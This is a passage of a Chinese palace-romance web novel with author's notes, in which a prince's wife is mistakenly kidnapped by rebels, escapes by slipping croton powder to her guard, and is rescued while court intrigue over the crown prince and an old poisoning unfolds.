宫人不过传话,哪里回答得上来这么多问题,只摇了摇头,“奴才不知!只听说方才猎场有数道暗箭射出!如今神策卫已悉数赶去!” 聂相宜顿时担心起谢知来。 她哪里还顾得上什么巴豆粉,拔腿便往猎场而去。 待得她刚出了膳房的门,身后猛然一只大手将她紧紧捂住。 “别动!” 皇帝遇刺,还是数年来秋猎的第一回。 神策卫的脚步如同铁索震荡,转瞬之间,已然将整个猎场围得水泄不通。 裴珏与谢知当时都陪同在皇帝左右。 只见密林之中数只暗箭咻咻射出,直奔皇帝而去。 或许是刺客准头不行,又或许是皇上正纵马疾驰,总之数箭而出,并无一支射中。 只有马背之上中了两箭,以致马儿受惊跃起,载着皇帝狂奔数里。 “皇上!”“父皇!” 就在众人紧张之时,皇帝用力夹着马背,高高扬起缰绳,在疾驰的风中拉住了失控的惊马。 他翻身下马,方才的变故让他脸色铁青,“我征战沙场数年,什么阵仗不曾见过!区区毛头小贼!也敢行此大逆不道之举!” 他仿佛是受到了极大的挑衅,阴沉着脸,自马背之上狠狠拔下那箭矢来,“果然!一群乌合之众!犹不死心!” 谢知垂眸看到那铁制的箭头,一眼便认出,“是晋王余孽。” 晋王当年私藏铁矿,其余孽用其私造兵器,作乱不止。 “皇上恕罪!”裴珏身为神策司副指挥使,只躬身告罪,“今年神策司并未全部随行,以致戍守纰漏。臣下定会加强戍守,捉拿乱贼。” 这话让皇帝的脸沉了又沉。 神策卫今年何故未曾全部随行?只因太子戍守京中,分去了一半。 说得好听些,是戍守京中,说得难听些,只是因为太子无力随行罢了。 便有官员进谏,“神策卫乃皇上亲卫,如今却因太子之故,以致皇上遇刺。岂非因小失大!” 若言辞再激烈些,只怕是会说太子有僭越之举。 皇帝心中生平第一次,对太子的病弱生出不满之意。 “当年晋王一脉,已被我斩尽杀绝,沉寂多年。可近年以来,余孽死灰复燃,作乱不止!竖子狡猾,难觅其首领踪影!” 他冷着脸,转头看向谢知,“如珩,你同裴珏一起查!务必究其首领!枭首示众!” 诸官顿时心思各异。 太子接受神策司不过数月,皇帝便又放权于三皇子。更何况,三皇子背后还有一个安西大将军。 秋日的风雨说来就来,只怕是要变天了。 待得神策卫护送皇帝离开,诸官亦纷纷离去,裴珏轻笑着看向谢知,“恭喜三殿下。” 他的语气仿佛只是寻常客套,谢知神情依旧,“还得多谢裴大人,甘冒天下之大不韪。” 就在二人探查附近密林之际,忽地有宫仆连滚带爬地跑来,一脸急色, “不好了!三殿下!不好了!” “何事慌张。” “三皇子妃……三皇子妃她被逆党掳走了!” 一向淡漠的谢知,这瞬陡然变了神色。 身旁的裴珏亦神色骤变,不复往日温和笑颜,“何以至此!” 宫人想是匆匆跑来,上气不接下气地回道:“方才三皇子妃去了膳房,只是一眨眼的功夫,便被掳走了!” 谢知指尖紧紧蜷起,“她去膳房做什么!” 不是叫她好好呆在营帐吗! 宫人怯怯答道:“三皇子妃只说,想为殿下做点膳食……” 谢知心中突地涌起无数复杂的情绪。焦急、恼怒、懊恼、还有愧疚…… 他紧紧蜷着指尖,若不是为了自己,她便不会被掳走……更何况,今日之事,本可以避免…… “去膳房!” 他匆匆前往膳房查看踪迹。裴珏似乎也想同去,被他一口回绝,“刺客未觅得踪迹,若擅离职守,只怕父皇怪罪。” 到了膳房,只见满地凌乱的打斗痕迹,一旁的含絮眼眶泛红,强压着哭音说道:“那些刺客极是训练有素!阳秋武功高强,他们自知不敌。便以数人拖延阳秋,余者带着夫人跑了!” 谢知知道阳秋是聂相宜的暗卫,眉头紧紧皱起,“为何当时只有一个阳秋!其他人呢!” “皇上遇刺……神策卫尽数赶去猎场……” 谢知隐约觉得似乎有哪里不对劲。 “阳秋呢?” 含絮红着眼睛答道:“去追刺客了。” 谢知眉宇一沉,“吩咐小裴大人,封山。” 这厢,聂相宜被这群刺客蒙上眼睛,不知过了多久,再度睁眼之时,自己仿佛已经身处一个不见出路的山洞之中。 四周黑漆漆的,只剩岩壁一盏幽微灯火。她仿佛身处某个山腹之中,依稀能听到水声滴答。 周围数个眉目狰狞的刺客以黑布蒙面,仿佛年纪都不小的样子,脸上沟壑纵横,只眯着眼睛打量着她。 “她怎得看起来这么年轻?” “你还不知道吗!宫里的娘娘们都这样!不保养得这么好!怎么取悦皇帝老儿去!” 宫里娘娘?取悦皇帝? 聂相宜的手被反绑在身后,因紧张出了一层薄薄的汗。 越是危机的时候,她越是镇定下来。虽然胸腔任咚咚作响,心脏狂跳不止,她却不曾惊呼哭闹,定定地看着那些刺客。 这些刺客不像是害命而来,否则不必费劲心思将她掳到这里。倒像是别有目的,蓄谋已久。 “她不会是吓傻了吧!” 聂相宜的脑袋几乎从来未曾这般努力运转过。 她听得他们话中似有不对,只小心翼翼开口,“你们……是不是抓错人了……” 刚一开口,聂相宜这才发现自己声音虚弱得要命,几乎控制不住地颤抖。 “嗯?”刺客们不由得对视一眼,“你是谁?” 聂相宜几乎一口气哽在胸口。 不知道我是谁你抓我来干什么! “我是聂相宜……” 刺客顿时露出一脸疑惑之意,似乎也察觉出不对劲来了,只低声道,“你去通知将军。” 将军? 又不知过了多久,随着一阵不徐不疾的脚步声由远及近,聂相宜不由得愈发紧张。 他们口中的将军,究竟是什么人? 昏暗灯火之下,出现了一个削瘦身影来。 聂相宜陡然瞪大了眼睛。 即使来者以黑巾覆面,她依旧能明显地分辨,那是一个妇人。 她身量不高,看眉眼亦是年纪不小,约莫五十来岁的模样,一双眼神却十分精矍,在昏暗灯光下如一只鹰。 一见了聂相宜的脸,她转头便低斥那群刺客,“蠢货!抓错人了!” “她不是白奚?”刺客不由得皱眉,“可我们就是在膳房里抓到的她啊!” 白奚?那不是贵妃的闺名吗? 她想到贵妃这几日都在膳房,顿时明了。难不成这些人想抓的是贵妃,结果叫她成了替死鬼? 她怎么这么倒霉呢! 到了这个时候,她甚至还有闲心去想,以后真是再也不 想招惹裴琅了!回回倒霉的都是她自己。 且不论她们欲抓贵妃作何,聂相宜只讪讪开口,“那什么……若是抓错人了……你们能不能将我放了……” 将军锐利的眼眸冷然望向她。 聂相宜心头打了个突,“我……我一定不会说出去的!我什么也没看见!” “既然不是白奚那个贱妇……”将军似乎懒得与她多言,只看向身旁的手下。 “杀了她。” 第37章 刚下过雨,山中泥泞,留下不少杂乱脚印。谢知沿着足迹觅去,寻得深山之中,却见数道仓促脚印分道而行,隐没于深山灌木之中,极是狡猾。 前去追寻的阳秋亦一脸焦急地回来,“殿下恕罪,刺客阻拦拖延了时间,待我追去时已然不见踪影。” “取猎犬来。”谢知的声音愈发沉冷,面色几乎凝结成冰。 另一边,调查密林箭手的裴珏亦传来消息,“以脚印来看,林中射箭之人不过两三人,远比不过膳房数人,布置周密。猎场冷箭,不像是有意刺杀之举,更像是……声东击西。” 谢知眉宇紧敛。 他们的目的,一开始便在膳房。 聂相宜甚少前去膳房。若逆党是以她为目的,尾随而去,必定会被阳秋发觉。 “去查,最近谁勤去膳房。” 而后数条猎犬狂吠不止,由神策卫牵引钻入密林,四处嗅探。 “殿……殿下……”少顷之后,有神策卫一脸凝重地回禀,“密林之中,多处被人洒上烈酒,猎犬难觅其踪。” 如此心思缜密,这群叛军,绝非乌合之众。 “将所有撒过烈酒的地方做上标记,圈定大致范围。”谢知眸中涌起山雨欲来之势,“给我牵一条猎犬来。” 这厢,聂相宜看着面前蒙面大汉手执一把三环大刀,朝自己步步逼近。 方才强行压下的恐慌复又涌现,脑中哪里还记得什么镇定,什么安静。 “外祖救我!呜呜呜!殿下快来啊!阳秋你这个没用的东西!呜呜呜!” 她扯着嗓子便高声嚎啕起来。 大刀在烛火下寒光闪烁,拖行在地上发出刺耳的坚鸣。 背后是冰凉锋利的山间岩壁,聂相宜几乎退无可退。 几乎在大刀扬起的一瞬,她紧紧缩着脖子闭上了眼,下意识唤道, “殿下!” “等等!” 将军忽地开口。 因惯性收不住力的大刀锋刃一歪,寒光陡然从聂相宜身边山壁划过,顿时震碎山石纷纷。 她怯怯睁开了眼。 将军听得她哭嚎,踱步走到她的面前,上下打量着她的模样,“殿下?你是谁的皇妃?” 劫后余生的聂相宜心中仍狂跳不止,瞪大了眼睛怔怔反应不过来。直到旁边大汉呵斥一句,“回话!” 她眼角还挂着泪,抽抽巴巴地说道:“三殿下……谢知……” “钟岐的外孙女?”将军似笑非笑地看了她一眼,而后不耐烦地啧了一声,看向身后的大汉,“你们干的蠢事!好好的机会平白让你们浪费了!” 大汉垂首受她斥责,“将军,眼下该怎么办?要重新去绑白奚吗?” “这般打草惊蛇,只怕眼下猎场早已被围得像铁桶一般!还如何动手!” 话虽如此,她面上却露出犹不甘心的神色,“再叫他们几个出去探探!记得!小心行事!” “那她呢?” “你先将她看着。”将军烦躁地瞥了聂相宜一眼,“别叫她死了便是。” 说着转身出了山洞。 大汉抱着刀与她相对而坐,空气中满是安静。 也不知道殿下能不能找到自己,聂相宜又是担忧,又是害怕。 她捏紧了手指,无意间却在手中捏到一个柔软的纸包。 是刚才她准备下给裴琅的巴豆粉! 她眼眸瞬间一亮,脑中不由飞速运转,活泛起来。 “那什么……我有点饿了……” 大汉抱着刀看也没看她,“那便饿着。” “饿死了怎么办!”聂相宜刚一提高音调,在大汉的注视下又渐渐弱了,“将军都说了……别叫我死了……” 大汉没好气地哼笑了一声,“等着!” 不过眨个眼的功夫,壮汉便很快回来了。手中的土瓷碗盛着一碗凉粥,伸手便准备望她嘴里灌。 “等等!等等!”聂相宜忙往后蹭了一步,“我自己喝!我自己喝!” 大汉似乎是看不惯她这般娇气做派,将碗重重地搁在她面前的地上,嘲讽地看了她一眼。 我看你怎么喝。 聂相宜瘪了瘪嘴,“能把我的手绑到前面来吗?我这样没法喝……” 大汉冷眼瞥她一眼,并不理会。 “我手无寸铁,即使你不绑着我……我也不是你的对手啊……” 也许是觉得她说得言之有理,又也许是见她表情实在可怜,大汉皱着眉头将照做。 待得大汉重新在她对面抱刀坐下,聂相宜捧起土碗,手中的巴豆粉悄然滑落。 “要不你先喝一口吧……我怕有毒……” 大汉终于是忍无可忍,“哪来那么多臭毛病!爱喝不喝!” “可是将军说了……不要叫我死……” 她话还没说完,大汉沉着脸走到她面前,端起碗大喝了一口,而后复又重重掷到她面前。 “喝!” 聂相宜眼神飘忽,“你喝过的……我不想喝了……” 刀风乍起,转瞬之间锋刃横亘聂相宜脖颈之间,“给脸不要脸?耍我玩?” “不……不是的……”冰凉的刀锋已然贴近皮肤,聂相宜结结巴巴正绞尽脑汁想着说辞,却见那大汉突地脸色一变。 他深深吸了一口气,似乎正在气沉丹田,强忍着什么。 “卟——”的一声。 大汉脸色骤然铁青。 “铛”!大刀重重落在地面,他几乎是转瞬便没了人影。 简直是正中下怀! 聂相宜一时间心跳不止,几乎是用最快的速度夹起刀刃,割开手脚束缚的绳子,头也不回地朝山洞外跑去。 等得出了山洞,四下俱寂,一片鸦黑之色,竟已到了夜间。 她分不清方向,又怕身后的人追上,只能胡乱地在灌木里乱窜,哪怕精疲力竭也不敢停下。 她几乎不敢回头,生怕一回头便见到那些人的身影。 “咚咚——咚咚——”野兽声音伴随着极速的心跳此起彼伏。 不知道跑了多久,她实在是体力难支。身后一片夜色如同能将人吞噬的黑洞,未知的恐惧仿佛下一刻便要将她吃掉。 她咬了咬牙,攀着身旁一颗大树便爬了上去。 所幸这些年翻了不少院墙,还算得上熟练。 “将军,那丫头跑了。” “跑了正好,省得想办法放她。”将军抬眸看了一眼天色,“通知他们,趁夜色撤!神策卫开始搜山了。” “那白奚……” “下次再说!” 烈酒和脚印圈定的范围就在这附近一片,数盏火把燃起,彻夜不休。 谢知行在神策卫的最前面,探寻着灌木断裂的新鲜痕迹,找出一条路来。 忽地他手中猎犬忽地狂吠不止,竟原地打转,止步不前。 谢知以火探之,竟在灌木丛中发现不少稀碎的衣裙碎片,连灌木断痕都格外崭新,流着白色的汁液。 他寻遍四周,却失踪不见任何人影踪迹。 谢知心头陡然一紧,只怕是逆党带着聂相宜撤离,届时更是无觅踪迹。 “神策卫!” 他正欲唤远处的神策卫前来,却忽然在安静的夜空之中,听到一声又细又软的轻唤,“殿下?是你吗?” 她的声 音如同受惊的小猫,带着怯生生的试探。 聂相宜蹲在树上,几乎双脚都麻得失去知觉。她又累又饿,却不敢失了警惕,忽地惊闻树下有窸窣之声,犬吠不止,生怕是前来追她的刺客,连声音也不敢发出丝毫。 直到她听见了谢知的声音。 “阿兕!”谢知猛地抬头,见聂相宜可怜兮兮地蹲在高处的树枝之上,抱着树干,好不可怜的模样。 “殿下……”一见了谢知,仿佛所有的委屈都有了归处,鼻尖陡然一酸。 她吸了吸鼻子,声音泛起哭腔,“殿下……你终于来了……” 谢知的声音带着从未有过的温和与小心,“是我不好。是我来晚了。” 聂相宜抽抽噎噎的声音自树上传来,“殿下……我脚软了……下不来了……” 劫后余生的庆幸让谢知不由轻笑一瞬。 将聂相宜从树上抱下来的时候,谢知抿唇看她,“还挺聪明,知道往树上躲。” 被他一夸,聂相宜便有些找不着北的神气起来,“那是当然!我可聪明着呢!” 她搂着谢知的脖子,仿佛用报复性地叽叽喳喳来忘掉方才的惊吓。 “我还给那些人下了巴豆!趁他拉肚子的时候跑出来的!哼哼!足斤足两的巴豆粉!拉不死他们!” 见聂相宜仍是活蹦乱跳,谢知悬着的心总算是稍稍松开些许。一双眼睛轻笑望她,“你哪来的巴豆粉?” 聂相宜语气一噎,略有心虚地梗着脖子,“现在是说这个的时候吗!重点是我很厉害好不好!” “嗯。”谢知的声音带着连自己也未曾察觉的宠溺,“阿兕最厉害了。” “嘶——”聂相宜忽地痛呼了一声。借着月色一看,手掌之上竟横亘一条鲜红的刀伤,仍往外冒着血。 紧张的逃跑让她无暇顾及其他,眼下骤然放松下来,这才后知后觉地发现手掌鲜红一片。 “怎么搞的?”谢知皱眉。 “也许是方才我割绳子的时候,撞上刀口了……” 谢知抿着唇,“是我不好。” 他自赶来的神策卫手中接过药粉,垂首细心为聂相宜敷上,“忍着。” 聂相宜疼得指尖一蜷,下意识缩手回避,“殿下……有点疼……” “娇气。” 话虽如此冷淡,冰凉的唇却几乎贴近她的掌心,轻轻为她吹气。他的呼吸像轻柔的春风,带着些难以言喻的痒,似有若无地拂过她的掌心。 一旁的神策卫看得眼珠子都瞪直了。 这般小心翼翼耐心安抚的模样,这还是他们那个杀伐果断、漠然冷清的三殿下吗! “殿下!”待得上完药,神策卫这才上前,“关于逆党……” 还未等谢知说话,聂相宜便先伸长了脖子探出头来,急急说道:“她们就在一个山洞里!我带你们去!” 谢知重新将她抱起,宽阔安稳的怀抱将她禁锢,“安分些。” “可是我想……” 谢知打断了她的话,“你还能找到回去的路吗?” 聂相宜看了一眼身后一片黑沉夜色,这才讪讪缩回了脖子。 “我先带你回去。你今日被吓着了。” 当着众人的面被谢知这般抱着,聂相宜不由得红着脸,闷着声音嗫嚅道:“我自己可以走的……” 谢知没回应她,只吩咐神策卫,“逆党就在附近。按三皇子妃的脚印搜山。”—— 作者有话说:小谢:老婆真聪明! 第38章 “殿下……”回去的路上安静无声,脚踏在草丛中发出稀碎的响。 聂相宜紧紧揽着谢知的脖颈,似乎这才后知后觉地感到害怕到害怕。 “嗯?”谢知回应她。 “刚刚快吓死我了!那把刀那么长,离我的脑袋就差那么一丢丢了!”轻软的声音带着微弱的颤抖,如同一阵飘渺的雾。 “还好我聪明!不然就没命见到殿下了。” “看清那些人长什么样子了吗?” “没有,他们都蒙着面,山洞里又暗。不过年纪看起来都不小了。”聂相宜努力回想着,“而且他们的首领是个女的!还被叫做将军。” 谢知微微敛眉。 上回于勾阑之中抓到的逆党供述,他们的首领正是“将军”。只是他们未曾提及,将军竟是个女子? 当年晋王兵败,家中一脉早已被皇帝斩尽杀绝,只剩些溃不成军的残余旧部,何来女子之说? “哦对了!他们好像是冲着贵妃娘娘去的!” 这一点谢知早已知晓。 叛军的目的就在膳房,而近日里常去膳房的,只有母妃。只因今日受了风寒身体欠安,这才叫聂相宜撞了个正着。 可她们的目的,为何不在父皇,而在母妃? “说来也怪,刀都快落我身上了,她们一听说殿下的名字,便不准备杀我了。” 聂相宜歪了歪头,“我这才有机会逃出来的。而且,她们还知道我是钟家的外孙女呢。” “当年钟家是父皇击败晋王的最大助力,她们若知道你是钟家的人,没理由不动手。” 谢知神色冷然,不由怀疑起这群所谓晋王叛军的身份。 首领为何是女子?目的为何是母妃?又为何会在听见他的名字后,便不再动手? “或许是她们害怕了?”聂相宜骄傲地哼哼两声,“外祖那么厉害!令人闻风丧胆!若我出了事,只怕杀她们个对穿!” 谢知不置可否。 待得神策卫寻其山洞,已然是人去楼空,不见半点逆贼身影。 皇帝遇刺,秋狩提前结束,班师回朝。 太子于午门之前负荆请罪,“儿臣无用,值守京中,惊闻父皇遇刺,救驾不及,请父皇降罪!” 谢知撩开帷帐,淡漠看了一眼跪在秋风中的太子。 “我也看看!我也看看!”聂相宜亦想探出头去看看热闹,却被谢知冰凉的指尖抵开。 “于理不合。” 聂相宜对他的一板一眼不满地瘪了瘪嘴,而后又好奇问道:“这事跟太子也没太大关系,毕竟他都没去猎场,戍守失职也不是他能控制的,为何在此负荆请罪?” 谢知漠然抬头,远远对上太子阴鸷的目光。 戍守失职并不重要。最重要的是,皇权受到了冒犯。 独属于皇帝亲卫的神策卫,却因太子之故,留置京中半数。不出事则已,若一出事,那便是僭越之嫌。 谢知放下了帷帐,抬眸看她一眼,“不是太子受罚,便是小裴大人受罚,你如何选?” “当然是罚太子了!”聂相宜毫不犹豫地嘟哝了一声。反正她又不认识太子。 “你就这般不想让裴珏受罚?”谢知冷哼一声,忽地脱口而出。 “我……”聂相宜一怔,不明白他怎么突然恼了起来。只讨好般试探道:“那不罚太子?罚小裴大人?” 谢知面色依旧不豫。 真是难伺候!聂相宜气鼓鼓地叉着腰,哼了一声,“又不是我说了算!” 这厢皇帝看着跪在午门前的太子,神色晦暗不明,终究是什么也未曾说出口,“你先回东宫。明日还需告祭天地。” 谢承忻身形一僵,躬身目送皇帝的车架离开。 “殿下,这事儿到底与您没干系。这不,皇上如今也未曾怪罪于您。”莫九对他午门请罪一事颇有疑惑。 “若不怪罪,就不会将彻查叛党之事重交给三弟,更不会让三弟执敬献之礼。” 回宫之后,此次秋狩仍不算结束,最终仍需告慰天地,谢天恩,载万物。 令诸官没有想到的事,只有太子才能完成的敬献之礼 ,此次竟由谢知完成。 皇帝只言:“秋风渐起,太子身体不佳,敬献繁琐,便由三皇子代劳。” 敬告天地宗庙之事,本就涉及宗祧传承。如今竟由谢知代劳,谢承忻愈发忌惮。 他神色阴沉,“谢知果然按捺不住了。” “殿下的意思是……” “凭神策卫的敏锐,区区几个叛党,怎会发现不了?”谢承忻阴冷地嗤了一声,“欲擒故纵,只为了让父皇心生芥蒂罢了。” “那殿下为何不告知皇上,是三殿下有意纵容逆党?” “无凭无据,只会叫人觉得我气急败坏,泼人脏水。不过……倒也不能坐以待毙。” 谢承忻转过头看向莫九,似笑非笑,“听说三弟与新妃在猎场同进同出,感情甚笃?” “正是。”莫九的笑容带着几分暧昧之意,“听说三皇子妃出事,还是三殿下亲自抱下山的。” 谢承忻啧了一声,“他倒是贪心,又想染指神策司,又想以此拉拢钟岐。你说,他是真心如此,还是为了那姑娘背后的兵权呢?” 他苍白的面颊忽地扬起些热切的、诡谲的微笑,“若是,我将她也抢走,三弟还会像往常一般,默不作声,暗自忍耐吗?” 莫九垂首不语。 “那个姑娘不是全须全尾地从逆党窝里出来了吗?”谢承忻吩咐道,“你放出些消息出去,就说……是三皇子妃借机与逆党勾结。” 他阴沉沉地低笑一声,“钟岐的外孙女与逆党勾结,那便是钟岐与逆党勾结。我看谢知该如何选择。” 谢知越是想拉拢钟家,他便越是要对钟家下手。与逆党勾结,没有比这更好的罪名了。 “是。”莫九恭敬应道,“只是这些消息,只怕是捕风捉影,皇上未必会信。” “不必他全信。只需要有个疑影,便已足够。”谢承忻轻笑一声。 攻心之术,不止他谢知一人会。 待得浩浩汤汤的车辇进了宫门,时辰不早,加之第二日谢知还需行告祭天地之礼,聂相宜与谢知只在宫中小住一夜。 等到了景明殿,一看四周陈设布置,聂相宜瞬间脸色一红。 “这……这不就是……”当日她中药之时,哭着让谢知帮她的地方。 谢知微微挑眉,像是看出她脑中所想,眸中带着几不可察的轻笑,“是。” 她脸颊绯红的局促模样突然让谢知生了促狭的逗弄之意。他俯身贴近她,温凉的鼻息与聂相宜呼吸交缠,“故地重游。” 谢知高大的身影几乎笼罩住她的所有,聂相宜被他的呼吸激起轻轻的战栗,几乎快要站不稳。 她抓住他的衣襟,负隅顽抗般将头摇得如同拨浪鼓,“不行不行!殿下明日还需行敬献之礼,需静心净身!” 这般可爱模样,让谢知轻笑出声,“快安置吧。” 突然抽离的他让聂相宜一怔,“诶?” 翌日清晨,天还未亮,皇帝与诸官齐聚祭天台,行告祭天地之礼。 聂相宜在人群中悄悄看着谢知,神采奕奕。万众瞩目,他此刻一身玄色祭服,身形挺拔,肃穆庄严的氛围衬得他愈发冷峻矜贵。 这便是她心心念念的那个,冷清似月的殿下啊! 她听得诸官悄声议论,“上次三殿下替太子殿下行敬献之仪,还是在景乾十年。” “那年是太子殿下突发急症,今日……”有人轻轻摇了摇头,“只怕是今时不同往日咯。” 聂相宜听不懂这些,只觉高台之上的谢知瞩目得要命,仿佛一举一动都能吸引去她所有的目光。 谢知以羊血染指,在眉心画上一道鲜艳的红痕,而后献俎进爵,以牺牲为礼,供奉天地。 鲜艳的红痕于他眉心,如同菩萨眉心朱砂,庄严之中带着不可侵犯的神圣禁欲之感。 聂相宜几乎被他这般模样看直了眼。 待得一切礼毕,谢知回到她的身边,就见她一脸傻笑地望着自己。 “肃穆。”谢知微敛着眉提醒她。 聂相宜这才强压下笑容,一双漆黑的眼睛晶亮,“殿下,你今日真好看。” 谢知抿下唇边刚刚扬起的轻笑。 待得一切礼毕,已是夕阳时分。聂相宜累了一天,加之前日里奔波劳碌,回到府中便瘫软在榻上。 “总算是回来了,累死我了!” 这般大剌剌四脚朝天的模样让谢知微微敛眉,正欲开口,颈间却忽地泛起些痒意。 他像是忽地想起了什么,将衣襟拉高了些。 待得就寝之时,聂相宜忽地凑近他,眨着眼端详许久,“殿下?你怎得脸有些泛红?” 谢知眉宇一敛,“无事。” “那你为何寝衣也不换?”聂相宜颇觉奇怪,歪着脑袋看他,“总不能我说你好看,你就一直穿着这衣裳吧。” 谢知像是哽了一下,“不是。睡你的觉便是。” “可是你的衣服硌着我睡不着……” 谢知起身,“那我去书房。” “诶!”聂相宜伸手拦他,下意识一把抓住了他的衣领,往下一扯。 修长的脖颈之上,忽地多了许多细小的红点,像是被虫子咬过一般。 聂相宜一惊,忙膝行上前,“这是怎么搞的!被虫子咬了?” “是过敏。”谢知沉着脸拉上衣领。 他记得七岁时,替太子祭祀天地之时,就已经过敏一次。 那时他还小,尚不知发生了什么,等得祭拜完毕之后,站在人群中便忍不住挠了挠脖子。 有女眷忽地走到他面前,温声问他,“殿下,你是对方才的羊血过敏了吗?” 谢知这才知晓,自己对羊血过敏。 他抿了抿唇,“今日我先去书房休息,你自己先安置吧。” 聂相宜还想说些什么,他已然朝着书房而去。 “笃笃笃。”书房灯火刚明,凌竹便在窗下轻轻叩响。 “殿下。属下有要事禀报。” 谢知命他进了书房。 “前日里回京奔波,兼之贵妃感染风寒,顾不上乌凡,属下本来想趁此机会了结了她。只是她说,想用一个秘密,交换她的性命……”凌竹的语气忽地吞吞吐吐起来。 谢知眼眸陡然变得锐利,“什么秘密?”—— 作者有话说:今天加班到超级晚,累得我有点不知天地为何物了。 本来以为写不完这章了挂了请假条,还好写完了[撒花] 第39章 “是关于夫人的母亲,文安夫人之死的……” 谢知隐约察觉到什么,“乌凡是母妃的人,怎么会跟永宜侯府扯上关系?” “当年文安夫人之死,正是当年贵妃授意江氏之所为。”凌竹小心打量一眼谢知的面色,“而乌凡,便是当年传话之人。” 谢知眸色陡然震动。 即使方才已从凌竹寥寥数语之中猜到些什么,但事实戳破之后,却是杀母之仇横亘二人之中。 若是被她知晓…… 他眉头紧拧,“母妃为何会对文安夫人下手?” “这个乌凡并不知晓。”凌竹摇头,“她只说,二人从前并无交集,但不知为何,贵妃突然便动了这般心思。只命她找到江氏,对文安夫人下手。” 凌竹语气一顿,“按照乌凡私下猜测,或许是文安夫人曾与故皇后交好,贵妃娘娘记恨故皇后,因而迁怒于她。” 谢知不置可否。 若是迁怒,早便可以动手。为何突然便生了这般心思。 他冷声问道:“文安夫人突然而亡,永宜侯府就无人发现异样么?” “没有。一来是文安夫人当初已有忧思之症,永宜侯并未在意,安西大将军又远在西北,二来……当年江氏已然把持侯府中馈,宫里的毒又实难察觉。因此,众人皆以为文安夫人是忧思伤怀,以致盛年不永。” “知道了。”谢知神色沉沉,“先将乌凡看住,别让她死了,也别惊动了母妃。” “是。” 谢知语气微微一滞,“此事也先别让夫人知晓。” 至少,要先查清母妃对文安夫人下手的目的。 “属下明白。”凌竹听他提起聂相宜,又跟着说道,“另外,乌凡还说,当日春花宫宴,夫人宫中中药,也是江氏的 手笔。” 谢知微点点头,“你先退下吧。” 连日的疲倦让他沉沉阖上眼眸。 深宫之人的手,没有人是干净的。谢知自深宫长大,对这点心知肚明。纵使母妃偏心太子,他亦认为只因母妃顾忌太子日后当权,刻意讨好。 可她为何会对毫无牵扯的文安夫人下手? “殿下?”少女的轻唤打断了他的深思。 一颗毛茸茸脑袋探进书房,聂相宜像只小猫般探头,眨着一双溜圆的眼睛看他。 她眼下已经洗漱过了,只穿着一身樱粉色寝衣,衬得她皮肤粉白细嫩,如一颗圆润的樱桃,可口动人。 如瀑长发披在肩上,她一歪脑袋,便落下几缕来,轻轻拂过胸前若隐若现的雪白肌肤,颇有几分妩媚动人。 偏她的神色那般无辜懵懂,只一双试探的眼神可怜巴巴地望着他。 夜风一吹,忽地带来熟悉的甜腻香气。 谢知喉结微动,“你怎得还没睡?” 她迈着小碎步踱步进来,动作带着鬼鬼祟祟的可爱之气,乖乖仰脸望着他,“我来给殿下送药呀。” 谢知垂眸看向她手中的圆钵,乳白色的膏药散发着淡淡的草药香气。 “这是什么?”谢知隐约觉得这香气有些熟悉。 他记得,当年问他是否羊血过敏的女眷,也曾递给他这样一盒气味相近的药膏。 “这药膏可好用了!”聂相宜炫耀似的卖弄着,“我若是长了痘痘,抹了这个药膏,一天便能消下去!” 说着她便打开青瓷盖子,葱白指尖在圆钵中取下些药膏来,“殿下过敏,想来也是能用的。我来替殿下上药?” “不必了,你放在那里,我自己来吧。” “红点都在脖颈上,殿下自己上药怕是不太方便呢。”聂相宜眼巴巴地望着他,神情一如既往的不忍让人拒绝。 谢知像是无奈,漆黑眼眸定定看着她,而后修长如玉的手指开始慢条斯理地解开衣襟。 他仿佛无论什么动作,都能做得这般赏心悦目,即使脱去衣物,也带着十足的优雅矜贵之气。 聂相宜怔怔看呆了眼。 直到灰白的中衣露出,聂相宜似乎这才反应过来,红着脸结结巴巴说道:“殿……殿下脱衣服干什么!” 目光却像定住似的未曾挪开半分。 谢知似是无奈抿唇,“后背也有……” “哦……哦……”聂相宜脸红得好似一颗番茄,挪步到他面前,眼神几乎不知何处安放。 第一次在清醒的时候看到谢知的身材,倒叫她腾地一下害羞起来。 看似清俊的身材笼罩在衣衫之下,虎背蜂腰,肌肉流畅。恍若浑然美玉雕刻而成,白皙肌肤之上,露出好看的腹肌线条,蜿蜒向下…… 不能再往下看了! 聂相宜红着一张脸,眼神飘来飘去,站在谢知面前手足无措,都忘了自己要干些什么。 谢知像是低笑了一声,“阿兕还不为我上药吗?” “哦对……上药,上药。”她这才如梦初醒般拿过药钵,伸出指尖试探性地触碰谢知的皮肤,而后又像是烫到般飞快挪开。 像极了小猫小心翼翼的试探。 谢知垂眸的目光凝在她通红的脸上,好整以暇,并不出声打断。 指尖传来的触感柔软中带着结实的硬度,倒不似自己,一身软肉,半点紧实肌肉也无。 她瘪了瘪嘴,见谢知没什么反应,这才一点点抠出膏药来为他上药。 “会有点凉哦殿下。”她的声音带着些甜腻的软,轻声提醒。 谢知的腹肌转瞬绷得更紧了些。 柔软的指腹慢慢游走于脊背,膏药冰凉的触感与她指尖的热度冰火交缠,带来十分难捱的轻痒。 药草的香气与栀子清香混合在一起,不受控制地往谢知鼻尖里钻。谢知垂眸看向聂相宜,她瘦小的身形笼罩在他的阴影里,柔顺的发丝随意地散开,衬出巴掌大的小脸来,神情乖觉又认真,可爱极了。 谢知眸色微动。 “殿下,你弯些腰。”聂相宜微踮起脚,仰脸望着他,一本正经地命令他,“脖子上的我有些够不着!” 谢知挑眉,俯身靠近她的动作带着强势之意,几乎贴近聂相宜鼻尖。 骤然拉进的距离让聂相宜慌乱的退后,脚下一绊险些往后一仰。她下意识环住谢知的脖子,稳住身形。 谢知唇边闪过一丝笑意,“这样也可以上药吗?” 那张俊美无双的脸放大在自己面前,忽然的轻笑如同波色乍明,慑人心魄。 聂相宜红着脸将头埋进他的怀中,轻软的声音闷闷的,“殿下故意的……” 柔软的发丝扫过谢知的胸膛,如同一把小刷子,带来毛簌簌的轻痒。偏她还不安分,下意识用额头蹭来蹭去。 谢知声音带着低哑,“好了。快上药吧。” 一番折腾,聂相宜这才为谢知全部抹上药膏,满意地点了点头。 “这药膏外祖命人为外祖母特调的秘方!我母亲、灵玉表姐都在用!保准管用!” 听她提起她的母亲,谢知闻言凝眸片刻,忽地问她,“你母亲……长什么样子?” 聂相宜一怔,忽而失落地摇了摇头,“记不清了……原来还记得的,不知道什么时候就忘了……” 她的声音逐渐低落下去,神色像是陷入眸中追忆之中,带着淡淡的怅惘, “我只记得,她是个很温柔的人,笑盈盈的。喜欢揉我的脑袋,喜欢给我剥枇杷吃。后来母亲知道了江氏的存在,便常带着我去流云观住,也不太爱笑了。” 